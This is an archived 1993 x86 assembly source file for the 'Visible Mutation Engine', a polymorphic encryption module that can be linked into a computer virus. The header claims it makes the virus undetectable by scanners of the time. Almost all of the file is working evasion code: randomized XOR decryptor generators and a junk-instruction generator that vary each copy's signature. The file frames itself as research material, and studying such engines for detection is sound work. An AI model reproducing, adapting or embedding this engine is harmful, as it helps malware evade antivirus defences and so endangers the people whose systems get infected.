home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / VME.ZIP / VME1.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-04-15  |  34.5 KB  |  827 lines

  1. ;The Visible Mutation Engine
  2. ;(C) 1993 American Eagle Publications, Inc. ALL RIGHTS RESERVED.
  3.  
  4. ;WARNING: This is an actual, functional mutation engine. It can be attached to
  5. ;a virus and make it totally undetectable by scanners using current technology
  6. ;(March, 1993). It is intended for research and educational purposes only!
  7.  
  8. ;The engine is an object module which can be linked into a virus, or any other
  9. ;software that needs to be self-encrypting.
  10. ;
  11. ;On calling the ENCRYPT routine,
  12. ;DS:SI points to where the code to encrypt is
  13. ;ES:DI points to where the decryption routine + encrypted code should be placed
  14. ;DX<>0 is the fixed size of the decryption routine.
  15. ;CX is the size of the unencrypted code
  16. ;BX is the starting offset of the decryption routine
  17. ;
  18. ;On return, carry will be set if there was an error which prevented the engine
  19. ;from generating the code. If successful, carry will be cleared.
  20. ;CX will be returned with the decryption routine + code size
  21.  
  22.                 .model  tiny
  23.  
  24.                 .code
  25.  
  26.                 public  ENCRYPT
  27.  
  28.                 extrn   RANDOM_SEED:near
  29.                 extrn   GET_RANDOM:near
  30.  
  31. CODE_LOC        DD      0                       ;area to save all passed parameters
  32. ENCR_LOC        DD      0
  33. DECR_SIZE       DW      0
  34. DECR_OFFS       DW      0
  35. CODE_SIZE       DW      0
  36.  
  37. ENCRYPT:
  38.                 cld
  39.                 push    bp                              ;preserve bp
  40.                 call    GET_LOC                         ;first figure out where we are
  41. GET_LOC:        pop     bp
  42.                 sub     bp,OFFSET GET_LOC               ;offset stored in bp always
  43.                 push    ds
  44.                 mov     cs:[bp][DECR_OFFS],bx           ;save all calling parameters
  45.                 mov     bx,bp                           ;put base in bx
  46.                 mov     WORD PTR CS:[bx][CODE_LOC],si
  47.                 mov     WORD PTR CS:[bx][CODE_LOC+2],ds
  48.                 push    cs
  49.                 pop     ds
  50.                 mov     WORD PTR [bx][ENCR_LOC],di
  51.                 mov     WORD PTR [bx][ENCR_LOC+2],es
  52.                 mov     [bx][CODE_SIZE],cx
  53.                 mov     [bx][DECR_SIZE],dx
  54.                 call    RANDOM_SEED             ;seed random number generator
  55.                 call    SELECT_BASE             ;select decryptor base to use
  56.                 jc      ERR_EXIT                ;exit if error
  57.                 call    INIT_BASE               ;initialize decryptor
  58.                 jc      ERR_EXIT
  59.                 call    GENERATE_DECRYPT        ;create a decrypt routine in wkspace
  60.                 jc      ERR_EXIT
  61.                 call    ENCRYPT_CODE            ;encrypt the code as desired
  62.                 jc      ERR_EXIT                ;exit on error
  63.                 les     di,[bx][ENCR_LOC]       ;else set exit parameters
  64.                 mov     cx,[bx][CODE_SIZE]
  65.                 add     cx,[bx][DECR_SIZE]      ;cx=code+decr rtn size
  66. ERR_EXIT:       pop     ds
  67.                 pop     bp
  68.                 ret
  69.  
  70. ;******************************************************************************
  71. ;This routine selects which decryptor base to use. It simply gives each
  72. ;decryptor an even chance of being used. BASE_COUNT holds the total number
  73. ;of decryptor bases available to use, and BASE_NO is set by this function
  74. ;to the one that will be used from here on out. This routine also sets the
  75. ;size of the decryptor, if a fixed size is not specified. If a fixed size
  76. ;is specified, it checks to make sure enough room has been alotted. If not,
  77. ;it returns with carry set to indicate an error.
  78. SELECT_BASE:
  79.                 call    GET_RANDOM              ;get a random number
  80.                 xor     dx,dx                   ;make it a dword
  81.                 mov     cx,[bx][BASE_COUNT]     ;get total number of base routines
  82.                 div     cx
  83.                 mov     [bx][BASE_NO],dx        ;save choice in BASE_NO
  84.                 mov     ax,[bx][DECR_SIZE]      ;ok, get requested size
  85.                 mov     si,dx                   ;get base number
  86.                 shl     si,1                    ;make an address out of it
  87.                 add     si,OFFSET BASE_SIZE_TBL
  88.                 mov     cx,[bx][si]             ;get selected base size
  89.                 or      ax,ax                   ;is decryptor size 0?
  90.                 jz      SEL_SIZE1               ;yes, select a random size
  91.                 cmp     ax,cx                   ;is ax>=cx?
  92.                 retn                            ;return with carry set right
  93.  
  94. ;If no base size selected, pick a random size between the minimum required
  95. ;size and the minimum + 127.
  96. SEL_SIZE1:      call    GET_RANDOM
  97.                 and     ax,007FH
  98.                 add     ax,cx
  99.                 cmp     ax,0080H
  100.                 jnc     SEL_SIZE1
  101.                 mov     [bx][DECR_SIZE],ax
  102.                 clc
  103.                 retn
  104.  
  105. ;******************************************************************************
  106. ;This routine initializes the base routines for this round of encryption. It
  107. ;is responsible for inserting any starting/ending addresses into the base,
  108. ;and any random numbers that the base uses for encryption and decryption.
  109. ;It must insure that the encryptor and decryptor are set up the same way,
  110. ;so that they will work properly together. INIT_BASE itself is just a lookup
  111. ;function that jumps to the proper routine to work with the current base,
  112. ;as selected by SELECT_BASE. The functions in the lookup table perform all of
  113. ;the routine-specific chores.
  114. INIT_BASE:
  115.                 mov     si,[bx][BASE_NO]
  116.                 shl     si,1                    ;determine encryptor to use
  117.                 add     si,OFFSET INIT_TABLE
  118.                 add     [bx][si],bx
  119.                 jmp     [bx][si]
  120.  
  121. INIT_TABLE      DW      OFFSET INIT_BASE0
  122.                 DW      OFFSET INIT_BASE1
  123.  
  124. ;Initialize decryptor base number 0.
  125. INIT_BASE0:
  126.                 sub     [bx][si],bx             ;make sure to clean up INIT_TABLE!
  127.                 mov     si,OFFSET _D0START      ;set start address
  128.                 mov     ax,[bx][DECR_OFFS]
  129.                 add     ax,[bx][DECR_SIZE]
  130.                 mov     [bx][si],ax
  131.                 mov     si,OFFSET _D0SIZE       ;set size to decrypt
  132.                 mov     ax,[bx][CODE_SIZE]
  133.                 mov     [bx][si],ax
  134. IB0TRYA:        call    GET_RANDOM
  135.                 or      ah,ah                   ;avoid triviality!!
  136.                 jz      IB0TRYA
  137.                 mov     si,D0RAND1              ;set up first random byte (encr)
  138.                 mov     [bx][si],al
  139.                 mov     si,OFFSET _D0RAND1      ;set up first random byte (decr)
  140.                 mov     [bx][si],al
  141.                 mov     si,D0RAND2              ;set up second random byte
  142.                 mov     [bx][si],ah
  143.                 mov     si,OFFSET _D0RAND2      ;set up second random byte
  144.                 mov     [bx][si],ah
  145.                 clc
  146.                 retn                            ;that's it folks!
  147.  
  148. ;Initialize decryptor base number 1. This only has to set up the decryptor
  149. ;because the encryptor calls the decryptor.
  150. INIT_BASE1:
  151.                 sub     [bx][si],bx             ;make sure to clean up INIT_TABLE!
  152.                 mov     ax,[bx][DECR_OFFS]
  153.                 add     ax,[bx][DECR_SIZE]
  154.                 mov     si,D1START1             ;set start address 1
  155.                 mov     [bx][si],ax
  156.                 mov     si,D1START2             ;set start address 2
  157.                 mov     [bx][si],ax
  158.                 mov     si,D1SIZE               ;set size to decrypt
  159.                 mov     ax,[bx][CODE_SIZE]
  160.                 shr     ax,1                    ;use size / 2
  161.                 mov     [bx][si],ax
  162. IB1TRYA:        call    GET_RANDOM
  163.                 or      ah,ah                   ;avoid triviality!!
  164.                 jz      IB1TRYA                 ;both bytes must be non-zero
  165.                 or      al,al
  166.                 jz      IB1TRYA
  167.                 mov     si,D1RAND               ;set up random word
  168.                 mov     [bx][si],ax
  169.                 clc
  170.                 retn                            ;that's it folks!
  171.  
  172.  
  173. ;******************************************************************************
  174. ;This routine encrypts the code using the desired encryption routine.
  175. ;On entry, es:di must point to where the encrypted code will go.
  176. ENCRYPT_CODE:
  177.                 mov     si,[bx][BASE_NO]
  178.                 shl     si,1                    ;determine encryptor to use
  179.                 add     si,OFFSET ENCR_TABLE
  180.                 add     [bx][si],bx
  181.                 jmp     [bx][si]
  182.  
  183. ENCR_TABLE      DW      OFFSET ENCRYPT_CODE0
  184.                 DW      OFFSET ENCRYPT_CODE1
  185.  
  186. ;Encryptor to go with decryptor base 0
  187. ENCRYPT_CODE0:
  188.                 sub     [bx][si],bx             ;make sure to clean up ENCR_TABLE!
  189.                 push    ds                      ;may use a different ds below
  190.                 mov     cx,[bx][CODE_SIZE]
  191.                 lds     si,[bx][CODE_LOC]       ;ok, es:di and ds:si set up
  192.                 push    cx
  193.                 push    di
  194.                 rep     movsb                   ;move the code to work segment
  195.                 pop     si
  196.                 pop     cx
  197.                 push    es
  198.                 pop     ds
  199.                 call    ENCRYPT0                ;call encryptor
  200.                 pop     ds
  201.                 mov     bx,bp                   ;restore bx to code base
  202.                 clc                             ;return c reset for success
  203.                 retn
  204.  
  205. ;Encryptor to go with decryptor base 1
  206. ENCRYPT_CODE1:
  207.                 sub     [bx][si],bx             ;make sure to clean up ENCR_TABLE!
  208.                 push    ds                      ;may use a different ds below
  209.                 mov     cx,[bx][CODE_SIZE]
  210.                 lds     si,[bx][CODE_LOC]       ;ok, es:di and ds:si set up
  211.                 push    cx
  212.                 push    di
  213.                 rep     movsb                   ;move the code to work segment
  214.                 pop     di
  215.                 mov     si,di
  216.                 pop     dx
  217.                 push    es
  218.                 pop     ds
  219.                 call    ENCRYPT1                ;call encryptor
  220.                 pop     ds
  221.                 clc                             ;return c reset for success
  222.                 retn
  223.  
  224.  
  225. ;******************************************************************************
  226. ;The following routine generates a decrypt routine, and places it in memory
  227. ;at [ENCR_LOC]. This returns with es:di pointing to where encrypted code
  228. ;should go. It is assumed to have been setup properly by INIT_BASE. As with
  229. ;INIT_BASE, this routine performs a jump to the proper routine selected by
  230. ;BASE_NO, which then does all of the detailed work.
  231. GENERATE_DECRYPT:
  232.                 mov     si,[bx][BASE_NO]
  233.                 shl     si,1                    ;determine encryptor to use
  234.                 add     si,OFFSET DECR_TABLE
  235.                 add     [bx][si],bx
  236.                 jmp     [bx][si]
  237.  
  238. DECR_TABLE      DW      OFFSET GEN_DECRYPT0
  239.                 DW      OFFSET GEN_DECRYPT1
  240.  
  241. GD0R1           DB      0
  242. GD0R2           DB      0
  243.  
  244. ;Generate the base routine 0.
  245. GEN_DECRYPT0:
  246.                 sub     [bx][si],bx             ;make sure to clean up DECR_TABLE!
  247.                 mov     cx,OFFSET D0RET - OFFSET DECRYPT0
  248.                 mov     ax,[bx][DECR_SIZE]
  249.                 sub     ax,cx                   ;ax= # bytes free
  250.                 mov     [bx][RAND_CODE_BYTES],ax;save it here
  251.  
  252.                 les     di,[bx][ENCR_LOC]       ;es:di points to where to put it
  253.  
  254.                 mov     al,11001000B            ;select si, di or bx for r1
  255.                 call    GET_REGISTER            ;randomly
  256.                 mov     [bx][GD0R1],al
  257.                 mov     ah,0FFH                 ;mask to exclude bx
  258.                 cmp     al,3                    ;is al=bx?
  259.                 jnz     GD1
  260.                 mov     ah,01110111B            ;exclude bh, bl
  261. GD1:            mov     al,11011101B            ;exclude ch, cl
  262.                 and     al,ah
  263.                 call    GET_REGISTER            ;select r2 randomly
  264.                 mov     [bx][GD0R2],al
  265.  
  266.                 mov     ax,000000000B
  267.                 mov     cx,7
  268.                 call    RAND_CODE
  269.  
  270.                 mov     al,[bx][GD0R1]          ;get r1
  271.                 or      al,0B8H                 ;mov r1,I
  272.                 stosb
  273. _D0START        EQU     $+1
  274.                 mov     ax,0
  275.                 stosw
  276.  
  277.                 mov     al,[bx][GD0R1]
  278.                 call    GEN_MASK
  279.                 or      al,00000010B
  280.                 push    ax
  281.                 xor     ah,ah
  282.                 mov     cx,6
  283.                 call    RAND_CODE
  284.  
  285.                 mov     al,0B9H                 ;mov cx,0
  286.                 stosb
  287. _D0SIZE         EQU     $+1
  288.                 mov     ax,0
  289.                 stosw
  290.  
  291.                 mov     al,[bx][GD0R2]          ;build mask for r2
  292.                 call    GEN_MASK_BYTE
  293.                 pop     cx
  294.                 or      al,cl
  295.                 or      al,00000010B
  296.                 xor     ah,ah
  297.                 push    ax                      ;save mask
  298.                 mov     cx,5
  299.                 call    RAND_CODE
  300.  
  301. _D0RAND1        EQU     $+1
  302.                 mov     ah,0                    ;mov r2,0
  303.                 mov     al,[bx][GD0R2]
  304.                 or      al,0B0H
  305.                 stosw
  306.  
  307.                 pop     ax
  308.                 push    ax                      ;get mask
  309.                 mov     cx,4
  310.                 call    RAND_CODE
  311.  
  312.                 pop     ax
  313.                 push    di                      ;save address of xor for loop
  314.                 push    ax
  315.  
  316.                 mov     al,[bx][GD0R1]          ;r1
  317.                 call    GET_DR                  ;change to ModR/M value
  318.                 mov     ah,[bx][GD0R2]
  319.                 mov     cl,3
  320.                 shl     ah,cl
  321.                 or      ah,al                   ;ah = r2*8 + r1
  322.                 push    ax
  323.  
  324.                 cmp     [bx][RAND_CODE_BYTES],4 ;make sure room for largest rtn
  325.                 pop     ax
  326.                 jc      GD2                     ;if not, use smallest
  327.                 push    ax
  328.                 call    GET_RANDOM              ;select between xor and mov/xor/mov
  329.                 and     al,80H
  330.                 pop     ax
  331.                 jz      GD2                     ;select xor
  332.  
  333.                 xor     ah,00100000B            ;switch between ah & al, etc.
  334.                 mov     al,8AH
  335.                 stosw                           ;mov r2',[r1]
  336.                 pop     dx                      ;get mask for RAND_CODE
  337.                 push    dx
  338.                 push    ax
  339.  
  340.                 push    dx
  341.                 mov     ax,dx
  342.                 mov     cx,8
  343.                 call    RAND_CODE
  344.  
  345.                 mov     al,[bx][GD0R2]          ;get r2
  346.                 mov     cl,3
  347.                 shl     al,cl
  348.                 or      al,[bx][GD0R2]          ;r2 in both src & dest
  349.                 xor     al,11000100B            ;now have r2',r2
  350.                 mov     ah,30H
  351.                 xchg    al,ah
  352.                 stosw                           ;xor r2',r2
  353.  
  354.                 pop     ax
  355.                 mov     cx,8
  356.                 call    RAND_CODE
  357.  
  358.                 pop     ax
  359.                 mov     al,88H
  360.                 stosw                           ;mov [r1],r2'
  361.                 sub     [bx][RAND_CODE_BYTES],4 ;must adjust this!
  362.                 jmp     SHORT GD3
  363.  
  364. GD2:            mov     al,30H                  ;xor [r1],r2
  365.                 stosw
  366.  
  367. GD3:            pop     ax                      ;get register flags
  368.                 push    ax
  369.                 mov     cx,3
  370.                 call    RAND_CODE
  371.  
  372.                 mov     al,[bx][GD0R1]          ;inc r1
  373.                 or      al,40H
  374.                 stosb
  375.  
  376.                 pop     ax                      ;get mask
  377.                 push    ax
  378.                 mov     cx,2
  379.                 call    RAND_CODE
  380.  
  381.                 mov     al,80H                  ;add r2,0
  382.                 mov     ah,[bx][GD0R2]
  383.                 or      ah,0C0H
  384.                 stosw
  385. _D0RAND2        EQU     $+1
  386.                 mov     al,0
  387.                 stosb
  388.  
  389.                 pop     ax                      ;get retister flags
  390.                 mov     cx,1
  391.                 call    RAND_CODE
  392.  
  393.                 pop     cx                      ;address to jump to
  394.                 dec     cx
  395.                 dec     cx
  396.                 sub     cx,di
  397.                 mov     ah,cl
  398.                 mov     al,0E2H                 ;loop D0LP
  399.                 stosw
  400.  
  401.                 mov     ax,000000000H           ;fill remaining space with random code
  402.                 xor     cx,cx
  403.                 call    RAND_CODE
  404.  
  405.                 clc                             ;return with c reset
  406.                 retn
  407.  
  408.  
  409. ;Generate the base routine 1.
  410. GEN_DECRYPT1:
  411.                 sub     [bx][si],bx             ;make sure to clean up DECR_TABLE!
  412.                 mov     cx,OFFSET D1RET
  413.                 sub     cx,OFFSET DECRYPT1      ;cx=# of bytes in decryptor
  414.                 push    cx
  415.                 mov     si,OFFSET DECRYPT1      ;[bx][si] points to DECRYPT1
  416.                 add     si,bx                   ;si points to DECRYPT1
  417.                 les     di,[bx][ENCR_LOC]       ;es:di points to where to put it
  418.                 rep     movsb                   ;simply move it for now
  419.                 pop     ax
  420.                 mov     cx,[bx][DECR_SIZE]      ;get decryptor size
  421.                 sub     cx,ax                   ;need this many more bytes
  422.                 mov     al,90H                  ;NOP code in al
  423.                 rep     stosb                   ;put NOP's in
  424.                 clc                             ;return with c reset
  425.                 retn
  426.  
  427.  
  428. ;******************************************************************************
  429. ;Bases for Decrypt/Encrypt routines.
  430.  
  431. BASE_COUNT      DW      2               ;number of base routines available
  432. BASE_NO         DW      0               ;base number in use
  433. BASE_SIZE_TBL   DW      OFFSET D0RET - OFFSET DECRYPT0
  434.                 DW      OFFSET D1RET - OFFSET DECRYPT1
  435.  
  436. ;This is the actual base routine 0. This is just a single-reference, varying
  437. ;byte-wise XOR routine.
  438. DECRYPT0:
  439.                 mov     si,0                    ;mov si,OFFSET ENCRYPTED
  440.                 mov     cx,0                    ;mov cx,ENCRYPTED SIZE
  441. ENCRYPT0:       mov     bl,0                    ;mov bl,RANDOM BYTE 1
  442. D0LP:           xor     [si],bl
  443.                 inc     si
  444.                 add     bl,0                    ;add bl,RANDOM BYTE 2
  445.                 loop    D0LP
  446. D0RET:          retn                            ;not used by decryptor!
  447.  
  448. ;Defines to go with base routine 0
  449. D0RAND1         EQU     OFFSET DECRYPT0 + 7
  450. D0RAND2         EQU     OFFSET DECRYPT0 + 13
  451.  
  452. ;Here is the base routine 1. This is a double-reference, word-wise, fixed XOR
  453. ;encryptor.
  454. DECRYPT1:
  455.                 mov     si,0
  456.                 mov     di,0
  457.                 mov     dx,0
  458. ENCRYPT1:
  459. D1LP:           mov     ax,[si]
  460.                 add     si,2
  461.                 xor     ax,0
  462.                 mov     ds:[di],ax
  463.                 add     di,2
  464.                 dec     dx
  465.                 jnz     D1LP
  466. D1RET:          ret
  467.  
  468. ;Defines to go with base routine 1
  469. D1START1        EQU     OFFSET DECRYPT1 + 1
  470. D1START2        EQU     OFFSET DECRYPT1 + 4
  471. D1SIZE          EQU     OFFSET DECRYPT1 + 7
  472. D1RAND          EQU     OFFSET DECRYPT1 + 15
  473.  
  474.  
  475. ;Random code generator. Bits set in al register tell which registers should
  476. ;NOT be changed by the routine, as follows: (Segment registers aren't changed)
  477. ;
  478. ;  Bit 0 = ax
  479. ;  Bit 1 = cx
  480. ;  Bit 2 = dx
  481. ;  Bit 3 = bx
  482. ;  Bit 4 = sp
  483. ;  Bit 5 = bp
  484. ;  Bit 6 = si
  485. ;  Bit 7 = di
  486. ;  Bit 8 = flags
  487. ;
  488. ;The cx register indicates how many more calls to RAND_CODE are expected
  489. ;in this execution. It is used to distribute the remaining bytes equally.
  490. ;For example, if you had 100 bytes left, but 10 calls to RAND_CODE, you
  491. ;want about 10 bytes each time. If you have only 2 calls, though, you
  492. ;want about 50 bytes each time. If CX=0, RAND_CODE will use up all remaining
  493. ;bytes.
  494.  
  495. RAND_CODE_BYTES DW      0               ;max number of bytes to use up
  496.  
  497. RAND_CODE:
  498.                 or      cx,cx                           ;last call?
  499.                 jnz     RCODE1                          ;no, determine bytes
  500.                 mov     cx,[bx][RAND_CODE_BYTES]        ;yes, use all available
  501.                 or      cx,cx                           ;is it zero?
  502.                 push    ax                              ;save modify flags
  503.                 jz      RCODE3                          ;zero, just exit
  504.                 jmp     short RCODE2                    ;else go use them
  505. RCODE1:         push    ax                              ;save modify flags
  506.                 mov     ax,[bx][RAND_CODE_BYTES]
  507.                 or      ax,ax
  508.                 jz      RCODE3
  509.                 shl     ax,1                            ;ax=2*bytes available
  510.                 xor     dx,dx
  511.                 div     cx                              ;ax=mod for random call
  512.                 or      ax,ax
  513.                 jz      RCODE3
  514.                 mov     cx,ax                           ;get random betw 0 & cx
  515.                 call    GET_RANDOM                      ;random # in ax
  516.                 xor     dx,dx                           ;after div,
  517.                 div     cx                              ;dx=random number desired
  518.                 mov     cx,dx
  519.                 cmp     cx,[bx][RAND_CODE_BYTES]
  520.                 jc      RCODE2                          ;make sure not too big
  521.                 mov     cx,[bx][RAND_CODE_BYTES]        ;if too big, just use all
  522. RCODE2:         or      cx,cx
  523.                 jz      RCODE3
  524.                 sub     [bx][RAND_CODE_BYTES],cx        ;subtract off bytes used
  525.                 pop     ax                              ;modify flags
  526.  
  527. RC_LOOP:        push    ax
  528.                 call    RAND_INSTR                      ;generate a single instruction
  529.                 pop     ax
  530.                 or      cx,cx
  531.                 jnz     RC_LOOP
  532.  
  533.                 ret
  534.  
  535. RCODE3:         pop     ax
  536.                 ret
  537.  
  538. ;This routine generates a random instruction and puts it at es:di, decrementing
  539. ;cx by the number of bytes the instruction took, and incrementing di as well.
  540. ;It uses ax to determine which registers may be modified by the instruction.
  541. ;For the contents of ax, see the comments before RAND_CODE.
  542. RAND_INSTR:
  543.                 or      ax,00010000B            ;never allow stack to be altered
  544.                 push    ax
  545.                 cmp     al,0FFH                 ;are any register mods allowed?
  546.                 je      RI1                     ;nope, go set max subrtn number
  547.                 mov     dx,3
  548.                 neg     al                      ;see if 2 or more registers ok
  549. RI0:            shr     al,1
  550.                 jnc     RI0                     ;shift out 1st register
  551.                 or      al,al                   ;if al=0, only 1 register ok
  552.                 jnz     RI2                     ;non-zero, 2 register instrs ok
  553.                 dec     dx
  554.                 jmp     SHORT RI2
  555. RI1:            mov     dx,0                    ;dx contains max subrtn number
  556.                 cmp     ah,1                    ;how about flags?
  557.                 je      RI2                     ;nope, only 0 allowed
  558.                 inc     dx                      ;flags ok, 0 and 1 allowed
  559.  
  560. RI2:            call    GET_RANDOM              ;get random number betw 0 & dx
  561.                 mov     al,ah
  562.                 xor     ah,ah
  563.                 inc     dx                      ;dx=modifier
  564.                 push    cx
  565.                 mov     cx,dx
  566.                 xor     dx,dx
  567.                 div     cx                      ;now dx=random number desired
  568.                 pop     cx
  569.                 pop     ax
  570.                 mov     si,dx
  571.                 shl     si,1                    ;determine routine to use
  572.                 add     si,OFFSET RI_TABLE
  573.                 add     [bx][si],bx
  574.                 jmp     [bx][si]
  575.  
  576. RI_TABLE        DW      OFFSET RAND_INSTR0
  577.                 DW      OFFSET RAND_INSTR1
  578.                 DW      OFFSET RAND_INSTR2
  579.                 DW      OFFSET RAND_INSTR3
  580.  
  581. ;If this routine is called, no registers must be modified, and the flags must
  582. ;not be modified by any instructions generated. 9 possibilities here.
  583. RAND_INSTR0:
  584.                 sub     [bx][si],bx             ;make sure to clean up!
  585.                 push    ax
  586.                 push    cx
  587.                 cmp     cx,2                    ;do we have 2 bytes to work with?
  588.                 jc      RI01                    ;no--must do a nop
  589.                 call    GET_RANDOM              ;yes--do either a nop or a push/pop
  590.                 xchg    al,ah
  591.                 mov     cx,9                    ;even chance of 8 push/pops & nop
  592.                 xor     dx,dx
  593.                 div     cx
  594.                 or      dx,dx                   ;if dx=0
  595.                 jz      RI01                    ;go do a nop, else push/pop
  596.                 mov     al,11111111B
  597.                 call    GET_REGISTER            ;get any register
  598.                 pop     cx                      ;get bytes avail off stack
  599.                 add     al,50H                  ;push r = 50H + r
  600.                 stosb
  601.                 pop     dx                      ;get register flags off stack
  602.                 push    ax                      ;save "push r"
  603.                 sub     cx,2                    ;decrement bytes avail now
  604.                 cmp     cx,1                    ;see if more than 2 bytes avail
  605.                 jc      RI02A                   ;nope, go do the pop
  606.                 push    cx                      ;keep cx!
  607.                 call    GEN_MASK                ;legal to modify the
  608.                 pop     cx                      ;register we pushed
  609.                 xor     al,0FFH                 ;so work it into the mask
  610.                 and     dl,al                   ;for more variability
  611.                 mov     ax,dx                   ;new register flags to ax
  612.                 call    RAND_INSTR              ;recursively call RAND_INSTR
  613. RI02A:          pop     ax
  614.                 add     al,8                    ;pop r = 58H + r
  615.                 stosb
  616.                 ret
  617.  
  618. RI01:           mov     al,90H
  619.                 stosb
  620.                 pop     cx
  621.                 pop     ax
  622.                 dec     cx
  623.                 ret
  624.  
  625. ;If this routine is called, no registers are modified, but the flags are.
  626. ;Right now it just implements some simple flags-only instructions
  627. ;35 total possibilities here
  628. RAND_INSTR1:
  629.                 sub     [bx][si],bx             ;make sure to clean up!
  630.                 push    cx
  631. RAND_INSTR1A:   cmp     cx,2                    ;do we have 2 bytes available?
  632.                 jc      RI11                    ;no, go handle 1 byte instr's
  633.                 cmp     cx,4                    ;do we have 4 bytes?
  634.                 jc      RI12
  635.  
  636. RI14:           call    GET_RANDOM              ;4 byte solutions (16 possible)
  637.                 and     al,80H
  638.                 jnz     RI12                    ;50-50 chance of staying here
  639.                 mov     al,11111111B
  640.                 call    GET_REGISTER            ;get any register
  641.                 mov     ah,al                   ;set up register byte for AND/OR
  642.                 xor     al,al
  643.                 mov     cx,ax
  644.                 call    GET_RANDOM
  645.                 and     al,80H
  646.                 jnz     RI14A                   ;select "and" or "or"
  647.                 or      cx,0C881H               ;OR R,0
  648.                 mov     ax,cx
  649.                 xor     cx,cx
  650.                 jmp     SHORT RI14B
  651. RI14A:          or      cx,0E081H               ;AND R,FFFF
  652.                 mov     ax,cx
  653.                 mov     cx,0FFFFH
  654. RI14B:          stosw
  655.                 mov     ax,cx
  656.                 stosw
  657.                 pop     cx
  658.                 sub     cx,4
  659.                 ret
  660.  
  661. RI12:           call    GET_RANDOM              ;2 byte solutions (16 possible)
  662.                 and     al,0C0H                 ;75% chance of staying here
  663.                 cmp     al,0C0H
  664.                 je      RI11                    ;25% of taking 1 byte solution
  665.                 mov     al,11111111B
  666.                 call    GET_REGISTER            ;get any register
  667.                 mov     ah,al                   ;set up register byte for AND/OR
  668.                 mov     cl,3
  669.                 shl     ah,cl
  670.                 or      ah,al
  671.                 or      ah,0C0H
  672.                 mov     ch,ah
  673.                 call    GET_RANDOM
  674.                 and     al,80H
  675.                 jz      RI12A                   ;select "and" or "or"
  676.                 mov     al,9                    ;OR R,R
  677.                 jmp     SHORT RI12B
  678. RI12A:          mov     al,21H                  ;AND R,R
  679. RI12B:          mov     ah,ch
  680.                 stosw
  681.                 pop     cx
  682.                 sub     cx,2
  683.                 ret
  684.  
  685. RI11:           call    GET_RANDOM
  686.                 and     ah,3                    ;take one of 3 possibilities
  687.                 mov     al,0F8H                 ;clc instruction
  688.                 or      ah,ah
  689.                 jz      RI11A
  690.                 mov     al,0F9H                 ;stc instruction
  691.                 dec     ah
  692.                 jz      RI11A
  693.                 mov     al,0F5H                 ;cmc instruction
  694.                 dec     ah
  695.                 jz      RI11A
  696.  
  697. RI11A:          stosb
  698.                 pop     cx
  699.                 dec     cx
  700.                 ret
  701.  
  702. ;If this routine is called, one register is modified, as specified in al. It
  703. ;assumes that flags may be modified.
  704. RAND_INSTR2:
  705.                 sub     [bx][si],bx                     ;make sure to clean up!
  706.                 push    cx
  707.                 push    cx
  708.                 mov     dx,ax
  709.                 xor     al,0FFH                         ;set legal, allowed regs
  710.                 call    GET_REGISTER                    ;get a random, legal register
  711.                 pop     cx
  712.                 push    ax                              ;save it
  713.                 cmp     cx,2
  714.                 jc      RI21                            ;only 1 byte available
  715.                 cmp     cx,3
  716.                 jc      RI22                            ;only 2 bytes avaiable
  717.  
  718. RI23:                                   ;3 bytes, modify one register
  719.                 call    GET_RANDOM                      ;get random number
  720.                 and     al,80H                          ;decide 3 byte or 2
  721.                 jnz     RI22
  722.                 call    GET_RANDOM                      ;X to use in generator
  723.                 mov     cx,ax
  724.                 pop     ax                              ;get register
  725.                 or      al,0B8H                         ;mov R,X
  726.                 stosb
  727.                 mov     ax,cx
  728.                 stosw
  729.                 pop     cx
  730.                 sub     cx,3
  731.                 ret
  732.  
  733. RI22:                                   ;2 bytes, modify one register
  734.                 call    GET_RANDOM
  735.                 and     al,80H          ;decide 2 byte or 1
  736.                 jnz     RI21            ;do one byte
  737.                 mov     al,11111111B
  738.                 call    GET_REGISTER    ;get a random register
  739.                 mov     cl,3
  740.                 shl     al,cl
  741.                 pop     cx
  742.                 or      al,cl           ;put both registers in place
  743.                 or      al,0C0H
  744.                 mov     ah,al
  745.                 mov     al,89H          ;mov r2,r1
  746.                 stosw
  747.                 pop     cx
  748.                 sub     cx,2
  749.                 ret
  750.  
  751. RI21:                                   ;one byte, modify one register
  752.                 and     dh,1                            ;can we modify flags?
  753.                 pop     ax
  754.                 jnz     RI20                            ;no, exit this one
  755.                 push    ax
  756.                 call    GET_RANDOM                      ;do inc/dec only
  757.                 mov     ah,40H                          ;assume INC R (40H+R)
  758.                 and     al,80H                          ;decide which
  759.                 jz      RI21A
  760.                 or      ah,8                            ;do DEC R (48H+R)
  761. RI21A:          pop     cx
  762.                 or      ah,cl                           ;put register in
  763.                 mov     al,ah
  764.                 stosb
  765.                 pop     cx
  766.                 dec     cx
  767.                 ret
  768.  
  769. RI20:           pop     cx
  770.                 jmp     RAND_INSTR1A
  771.  
  772.  
  773. ;If this routine is called, up to two registers are modified, as specified in
  774. ;al.
  775. RAND_INSTR3:    ;NOT IMPLEMENTED
  776.                 jmp     RAND_INSTR2
  777.  
  778.  
  779. ;This routine gets a random register using the mask al (as above).
  780. ;In this mask, a 1 indicates an acceptable register. On return, the random
  781. ;register number is in al.
  782. GET_REGISTER:
  783.                 mov     ch,al
  784. GREG1:          call    GET_RANDOM              ;get a random number
  785.                 and     ah,7                    ;al=0 to 7 now
  786.                 mov     cl,ah
  787.                 mov     al,1
  788.                 shl     al,cl                   ;set a bit in al
  789.                 and     al,ch                   ;did we get a legal register?
  790.                 jz      GREG1                   ;nope, try again
  791.                 mov     al,cl                   ;yes, put it in al
  792.                 ret
  793.  
  794. ;This converts a register number in al into a displacement ModR/M value and
  795. ;puts it back in al. Basically, 7-->5, 6-->4, 5-->6, 3-->7.
  796. GET_DR:
  797.                 cmp     al,6
  798.                 jnc     GDR1
  799.                 add     al,3
  800.                 cmp     al,8
  801.                 je      GDR1
  802.                 mov     al,9
  803. GDR1:           sub     al,2
  804.                 ret
  805.  
  806. ;Create a bit mask from word register al
  807. GEN_MASK:
  808.                 mov     cl,al
  809.                 mov     al,1
  810.                 shl     al,cl
  811.                 ret
  812.  
  813. ;Create a word bit mask from byte register al
  814. GEN_MASK_BYTE:
  815.                 mov     cl,al
  816.                 mov     al,1
  817.                 shl     al,cl
  818.                 mov     ah,al
  819.                 mov     cl,4
  820.                 shr     ah,cl
  821.                 or      al,ah
  822.                 and     al,0FH
  823.                 ret
  824.  
  825.                 END
  826. 
  827.